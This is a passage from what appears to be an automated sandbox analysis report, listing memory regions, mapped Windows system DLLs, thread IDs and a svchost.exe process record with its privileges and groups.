0xf0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 1177 start_va = 0x1040000 end_va = 0x10bffff entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 1178 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1179 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1180 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1181 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1182 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1183 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1184 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1185 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1186 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1187 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1188 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1189 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1190 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1191 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1192 start_va = 0x77830000 end_va = 0x77836fff entry_point = 0x77830000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Thread: id = 83 os_tid = 0x5b8 Thread: id = 84 os_tid = 0x894 Thread: id = 85 os_tid = 0x898 Thread: id = 107 os_tid = 0x680 Thread: id = 108 os_tid = 0x7ec Thread: id = 109 os_tid = 0x7e4 Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xc2e5000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x374" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b4c6" [0xc000000f], "LOCAL" [0x7] Region: id = 1008 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1009 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1010 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1011 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1012 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1013 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1014 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1015 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1016 start_va = 0x250000 end_va = 0x30ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 1017 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 1018 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 1019 start_va = 0x330000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1020 start_va = 0x430000 end_va = 0x5b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1021 start_va = 0x5c0000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 1022 start_va = 0x600000 end_va = 0x600fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 1023 start_va = 0x610000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 1024 start_va = 0x620000 end_va = 0x7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 1025 start_va = 0x7b0000 end_va = 0xba2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 1026 start_va = 0xbb0000 end_va = 0xbcffff entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 1027 start_va = 0xbd0000 end_va = 0xbeffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 1028 start_va = 0xbf0000 end_va = 0xc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 1029 start_va = 0xc10000 end_va = 0xc10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 1030 start_va = 0xc20000 end_va = 0xc20fff entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1031 start_va = 0xc30000 end_va = 0xc30fff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 1032 start_va = 0xc40000 end_va = 0xc40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c40000" filename = "" Region: id = 1033 start_va = 0xc50000 end_va = 0xc51fff entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 1034 start_va = 0xc60000 end_va = 0xc60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 1035 start_va = 0xc70000 end_va = 0xceffff entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 1036 start_va = 0xcf0000 end_va = 0xdeffff entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 1037 start_va = 0xdf0000 end_va = 0xdf2fff entry_point = 0xdf0000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 1038 start_va = 0xe00000 end_va = 0xe01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 1039 start_va = 0xe10000 end_va = 0xe10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e10000" filename = "" Region: id = 1040 start_va = 0xf30000 end_va = 0x11fefff entry_point = 0xf30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1041 start_va = 0x1260000 end_va = 0x12dffff entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 1042 start_va = 0x1300000 end_va = 0x137ffff entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1043 start_va = 0x13d0000 end_va = 0x13d7fff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 1044 start_va = 0x13e0000 end_va = 0x145ffff entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 1045 start_va = 0x1480000 end_va = 0x14fffff entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 1046 start_va = 0x1520000 end_va = 0x159ffff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 1047 start_va = 0x15a0000 end_va = 0x161ffff entry_point = 0x0 region_type = private name = "private_0x00000000015a0000" filename = "" Region: id = 1048 start_va = 0x1620000 end_va = 0x1681fff entry_point = 0x1620000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 1049 start_va = 0x1690000 end_va = 0x178ffff entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 1050 start_va = 0x17b0000 end_va = 0x182ffff entry_point = 0x0 region_type = private name = "private_0x00000000017b0000" filename = "" Region: id = 1051 start_va = 0x1830000 end_va = 0x1a2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001830000" filename = "" Region: id = 1052 start_va = 0x1a70000 end_va = 0x1aeffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 1053 start_va = 0x1b60000 end_va = 0x1bdffff entry_point = 0x0 region_type = private name = "private_0x0000000001b60000" filename = "" Region: id = 1054 start_va = 0x1bf0000 end_va = 0x1c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bf0000" filename = "" Region: id = 1055 start_va = 0x1cc0000 end_va = 0x1d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001cc0000" filename = "" Region: id = 1056 start_va = 0x1dc0000 end_va = 0x1e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 1057 start_va = 0x1e80000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 1058 start_va = 0x1f20000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 1059 start_va = 0x1fa0000 end_va = 0x239ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 1060 start_va = 0x23d0000 end_va = 0x244ffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 1061 start_va = 0x2460000 end_va = 0x24dffff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 1062 start_va = 0x2510000 end_va = 0x258ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1063 start_va = 0x26e0000 end_va = 0x275ffff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 1064 start_va = 0x2760000 end_va = 0x2b62fff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 1065 start_va = 0x2b70000 end_va = 0x336ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b70000" filename = "" Region: id = 1066 start_va = 0x33c0000 end_va = 0x343ffff entry_point = 0x0 region_type = private name = "private_0x00000000033c0000" filename = "" Region: id = 1067 start_va = 0x34a0000 end_va = 0x351ffff entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 1068 start_va = 0x3570000 end_va = 0x35effff entry_point = 0x0 region_type = private name = "private_0x0000000003570000" filename = "" Region: id = 1069 start_va = 0x35f0000 end_va = 0x366ffff entry_point = 0x0 region_type = private name = "private_0x00000000035f0000" filename = "" Region: id = 1070 start_va = 0x73e30000 end_va = 0x73e32fff entry_point = 0x73e30000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 1071 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1072 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1073 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1074 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1075 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1076 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1077 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1078 start_va = 0xff260000 end_va = 0xff2b2fff entry_point = 0xff260000 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 1079 start_va = 0xff8e0000 end_va = 0xff941fff entry_point = 0xff8e0000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 1080 start_va = 0x7feef480000 end_va = 0x7feef52dfff entry_point = 0x7feef480000 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 1081 start_va = 0x7feef530000 end_va = 0x7feef654fff entry_point = 0x7feef530000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 1082 start_va = 0x7fef4890000 end_va = 0x7fef48aafff entry_point = 0x7fef4890000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1083 start_va = 0x7fef48b0000 end_va = 0x7fef48cbfff entry_point = 0x7fef48b0000 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 1084 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1085 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1086 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1087 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1088 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1089 start_va = 0x7fef7ff0000 end_va = 0x7fef803efff entry_point = 0x7fef7ff0000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 1090 start_va = 0x7fefada0000 end_va = 0x7fefadb7fff entry_point = 0x7fefada0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1091 start_va = 0x7fefadc0000 end_va = 0x7fefadd0fff entry_point = 0x7fefadc0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1092 start_va = 0x7fefae90000 end_va = 0x7fefaecafff entry_point = 0x7fefae90000 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 1093 start_va = 0x7fefaed0000 end_va = 0x7fefaf20fff entry_point = 0x7fefaed0000 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 1094 start_va = 0x7fefaf40000 end_va = 0x7fefaf47fff entry_point = 0x7fefaf40000 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 1095 start_va = 0x7fefaf50000 end_va = 0x7fefaf5afff entry_point = 0x7fefaf50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1096 start_va = 0x7fefaf60000 end_va = 0x7fefaf86fff entry_point = 0x7fefaf60000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1097 start_va = 0x7fefaf90000 end_va = 0x7fefaf99fff entry_point = 0x7fefaf90000 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 1098 start_va = 0x7fefb430000 end_va = 0x7fefb438fff entry_point = 0x7fefb430000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1099 start_va = 0x7fefb440000 end_va = 0x7fefb46bfff entry_point = 0x7fefb440000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1100 start_va = 0x7fefb470000 end_va = 0x7fefb51bfff entry_point = 0x7fefb470000 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 1101 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1102 start_va = 0x7fefbb00000 end_va = 0x7fefbb4afff entry_point = 0x7fefbb00000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 1103 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1104 start_va = 0x7fefc5e0000 end_va = 0x7fefc775fff entry_point = 0x7fefc5e0000 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 1105 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1106 start_va = 0x7fefc790000 end_va = 0x7fefc84afff entry_point = 0x7fefc790000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1107 start_va = 0x7fefc850000 end_va = 0x7fefc856fff entry_point = 0x7fefc850000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1108 start_va = 0x7fefc940000 end_va = 0x7fefc95afff entry_point = 0x7fefc940000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1109 start_va = 0x7fefcab0000 end_va = 0x7fefcab9fff entry_point = 0x7fefcab0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1110 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1111 start_va = 0x7fefccd0000 end_va = 0x7fefcd2afff entry_point = 0x7fefccd0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1112 start_va = 0x7fefce40000 end_va = 0x7fefce46fff entry_point = 0x7fefce40000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1113 start_va = 0x7fefce50000 end_va = 0x7fefcea4fff entry_point = 0x7fefce50000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1114 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1115 start_va = 0x7fefd0e0000 end_va = 0x7fefd14cfff entry_point = 0x7fefd0e0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1116 start_va = 0x7fefd450000 end_va = 0x7fefd45afff entry_point = 0x7fefd450000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1117 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1118 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1119 start_va = 0x7fefd560000 end_va = 0x7fefd59cfff entry_point = 0x7fefd560000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1120 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1121 start_va = 0x7fefd5c0000 end_va = 0x7fefd5cefff entry_point = 0x7fefd5c0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1122 start_va = 0x7fefd660000 end_va = 0x7fefd66efff entry_point = 0x7fefd660000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1123 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1124 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1125 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f9fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1126 start_va = 0x7fefd900000 end_va = 0x7fefd919fff entry_point = 0x7fefd900000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1127 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1128 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1129 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1130 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1131 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1132 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1133 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1134 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1135 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1136 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = 